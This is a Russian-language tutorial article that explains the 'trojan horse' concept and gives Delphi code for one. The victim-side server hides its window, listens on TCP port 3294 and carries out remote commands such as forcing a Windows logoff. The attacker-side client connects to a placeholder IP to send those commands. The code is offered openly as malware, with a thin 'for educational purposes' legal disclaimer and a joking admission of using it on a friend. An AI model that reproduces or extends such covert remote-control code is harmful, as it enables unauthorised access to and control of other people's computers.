Года три назад меня мучил вопрос, что такое «троянский конь», и как его можно сделать. После того, как я начал заниматься программированием, я долго искал информацию, но ничего стоящего не мог найти. Сегодня я попытаюсь исправить это, и описать из чего состоит, почему так назван и примеры создания «троянского коня».
Троянский конь - по греческому преданию, огромный деревянный конь, в котором спрятались ахейские воины, осаждавшие Трою (Троянская война). Троянцы, не подозревая хитрости, ввезли его в Трою. Ночью ахейцы вышли из коня и впустили в город остальное войско. Выражение "троянский конь" стало нарицательным (дар врагу с целью его погубить).
Троянский конь состоит из двух частей - клиентской и серверной. Клиентскую часть злоумышленник оставляет у себя, а серверную «впаривает» жертве. Но тут сразу меняется смысл слов клиент и сервер, так как сервер предоставляет информацию, а клиент принимает, но это все, если углубляется. В том примере который, я сегодня опишу, будут использоваться sockets Windows, то есть протокол TCP. Вообще, для таких вещей лучше использовать TCP - пускай он медленный, но надежный. Чаще всего троянских коней используют для получения подробной информации о жертве, паролей, списков контактов и т.д. Технологию троянского коня используют не только для вреда, но и для помощи. «Как?» - спросите вы. Да очень просто! Все программы для удаленного администрирования делаются по этой же технологии. Так что во всем можно найти свои плюсы и минусы.
Троянский конь должен выполнять 3 основные функции: быть невидимым для жертвы, автоматически запускаться при старте ОС (в нашем случае это операционные системы семейства Windows) и, само собой, должен выполнять команды злоумышленника. Троянский конь действует очень просто! Когда злоумышленник нажимает на кнопочку у себя в «берлоге», то он посылает простое текстовое сообщение, например «logoff», а когда это сообщение приходит к жертве, то он проверяет что выполнять, если было получено сообщение «logoff» (например, можно выполнить завершение сеанса Windows). Состав сообщения может быть абсолютно любым, по желанию программиста. Примерно год или полтора назад мне и пришла мысль написать троянский конь, так как я увидел в действии программу LanControl, замечательная программа. После того как я написал свой первый троян, он успешно служил у моего друга в локальной сети :)
Итак, теорию мы закончили, преступим к практике. Далее идущею информацию стоит использовать только в ознакомительных целях. Неправомерный доступ к компьютерной информации, карается лишением свободы на срок до пяти лет. 272 статья уголовного кодекса РФ. Мы поняли, как действует троянский конь. Теперь попробуем его написать, я буду использовать компилятор Delphi от компании Borland.
Напишем серверную часть (будет находится у жертвы). Помещаем на форму компонент Timer с вкладки System, свойство Interval ставим в положение 100, также добавляем ServerSocket с вкладки Internet, в обработчик событий OnTimer объекта Timer1 пишем следующий код:
procedure TForm1.Timer1Timer(Sender: TObject);
begin
Form1.Hide; //Процедура "спрятаться", которая скроет нашу программку.
ServerSocket1.Port:=3294; //указываем порт соединения, желательно более 1000
ServerSocket1.Active:=true; //Активируем нашего коня (сокет)
Timer1.Enabled:=false; //Отключаем таймер
end;
Теперь опишем команды для жертвы. Заходим в обработчик событий OnClientRead объекта ServerSocket1 и пишем там следующий код:
procedure TForm1.ServerSocket1ClientRead(Sender: TObject;
Socket: TCustomWinSocket);
var
mess: string;
begin
mess:=socket.ReceiveText; //Записываем принятый текст в переменную mess
if mess='logoff' then
begin
ExitWindowsEx(EWX_LOGOFF,0); //Завершения сеанса, если пришло сообщение logoff
end else
begin
showmessage(mess); //выводим сообщение если оно не равно logoff
end;
end;
Теперь перейдем к части злоумышленника. Нам понадобится Edit, три Button'a, и немного желания.
Свойства button'ов заполните в соответствии со списком.
• Button1 caption := 'Подключится'
• Button2 caption := 'Завершить сеанс'
• Button3 caption := 'Отправить сообщение'
В обработчике OnClick объекта Button1 пишем следующий код:
procedure TForm1.Button1Click(Sender: TObject);
begin
ClientSocket1.Address:='XXX.XXX.XXX.XXX'; //адрес xxx, ip - адрес
ClientSocket1.Host:='XXX.XXX.XXX.XXX'; //хост xxx, ip - адрес
ClientSocket1.Active:=true; //Активируем подключение
end;
В обработчике OnClick объекта Button2 пишем следующий код:
procedure TForm1.Button2Click(Sender: TObject);
begin
ClientSocket1.Socket.SendText('logoff');
end;
В обработчике OnClick объекта Button3 пишем следующий код:
procedure TForm1.Button3Click(Sender: TObject);
begin
ClientSocket1.Socket.SendText(Edit1.Text);
end;
Вот и всё, троянский конь готов! Если вы знаете данную технологию, попробуйте создать то же самое на Winsock или сделать полноценную программу для администрирования.
На этом я свою статью завершаю. Надеюсь, что вы будете использовать технологию троянского коня не во вред. В России, конечно не дают срок за такие мелочи, максимум штраф, зато могут по голове дать так, что вы забудете, что такое троянский конь.